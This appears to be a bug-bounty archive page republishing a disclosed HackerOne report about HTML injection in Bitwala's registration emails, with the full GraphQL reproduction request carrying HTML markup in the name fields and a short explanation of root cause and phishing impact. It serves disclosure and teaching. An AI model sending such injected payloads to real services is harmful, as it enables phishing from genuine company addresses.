Skip to content
XSS Disclosed report Beginner

HTML injection in email content

The registration form accepted HTML markup in the first and last name fields, and that markup was rendered inside the emails the service sent. An attacker could therefore send emails from the official address containing their own links and formatting, which could be used for phishing.

lamscun Follow

Originally disclosed on HackerOne

Medium 5.6 View original
  • Triaged in 17 days
  • Fixed in 3 months
  • Disclosed after 6 months

Summary:

Hi,

I just found an issue when register account in https://app.bitwala.com/onboarding/preliminary. It allow hacker injection malicious text include html code in email content.

Steps To Reproduce:

Make request register below with payload html in ==firstName== and ==lastName== parameter:

POST /graphql HTTP/1.1
Host: api.app.bitwala.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
content-type: application/json
Authorization: null
Origin: https://app.bitwala.com
Content-Length: 1188
Connection: close

{"operationName":"createIneligibleUser","variables":{"ineligibleUser":{"email":"[email protected]","firstName":"https://abc.comxxxxxxxxxxxxxxxxxxxxeeeeeeeeeeaaaaaaaaaaaaa%20%22<b>hello</b><h1>hacker</h1><a href='abc.com'>XXXX</a>abc.comxxxxxxxxxxxxxxxxxxxxeeeeeeeeeeaaaaaaaaaaaaacxcccc","lastName":"https://abc.comxxxxxxxxxxxxxxxxxxxxeeeeeeeeeeaaaaaaaaaaaaa%20%22<b>hello</b><h1>hacker</h1><a href='abc.com'>XXXX</a>abc.comxxxxxxxxxxxxxxxxxxxxeeeeeeeeeeaaaaaaaaaaaaacxcccc","addressCountry":"US","marketing":true,"locale":"en","token":"03AOLTBLRo4xtiJjci3-KF9cyHrmtCDjr-BORRjZT58NooOV6fkr4VLeRL2SqgVeXdX1NiJQCI6BHk97El0aKwJBuc9iUmtuxvZdvISyEZ4rYVgm3lEG8XxBBuhJzh0L_vUNBdbiOLGjoZyJgGf4R_Y6unX-dg7Wn4kjWDYkE25QIaGFNxS3YzDmp0e3GmN47UhZjpp14KIlfP9dpUqqleJytN2nJs068HfMjZM9d-7Etfv3YG0brkyVP_nMxXouKZARX9d1o7AXMGyykqDWVeB8e0iIuuFHpNkjEIqDVi6Af6Ch87fM5gXwDgr86PAzKyA-vrUZoahuhKhG71N-soh8gn_XsEiqCSGyS76ox20kr40diSu7Hh8Hzt_hKeZ_sMQd_yHqjpbBxkFO_jWSzkpcExmpBb4qHlFW_JrDNEi5gVXeGA3ZJ8CKk","identificationDocumentType":"DE:PASSPORT_ID_CARD"}},"query":"mutation createIneligibleUser($ineligibleUser: CreateIneligibleUserInput!) {\n  createIneligibleUser(ineligibleUser: $ineligibleUser)\n}\n"}

POC:

html_injection_email.png
html_injection_email.png From the original on HackerOne

Impact

HTML injection, Phishing attacks This vulnerability can lead to the reformatting/editing of emails from an official email address, which can be used in targeted phishing attacks. This could lead to users being tricked into giving logins away to malicious attackers.

The original report as published on HackerOne, by lamscun. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

Likely the name fields were inserted into the email template without HTML-encoding, so markup in the input was rendered rather than shown as text.

Impact

Emails from the official address could be reformatted and made to contain attacker links, which could trick users into handing over their logins.

What the attacker needed

No account needed; attacker can submit the registration form

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

When a website puts user-supplied text into an email without cleaning it, any HTML tags in that text are treated as real formatting by the email client. Here the name fields were placed into emails as-is, so an attacker could add headings and links that look like they came from the company. That makes a convincing phishing email, because the sender address is genuine.

What is XSS?

Script an attacker supplies runs in another user's browser, on the target's origin, with that user's session.

More by lamscun

View all

4 more disclosed reports, best first.

More from Nuri

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Cross-site scripting (XSS)

The lesson behind this report.

Script an attacker supplies runs in another user's browser, on the target's origin, with that user's session.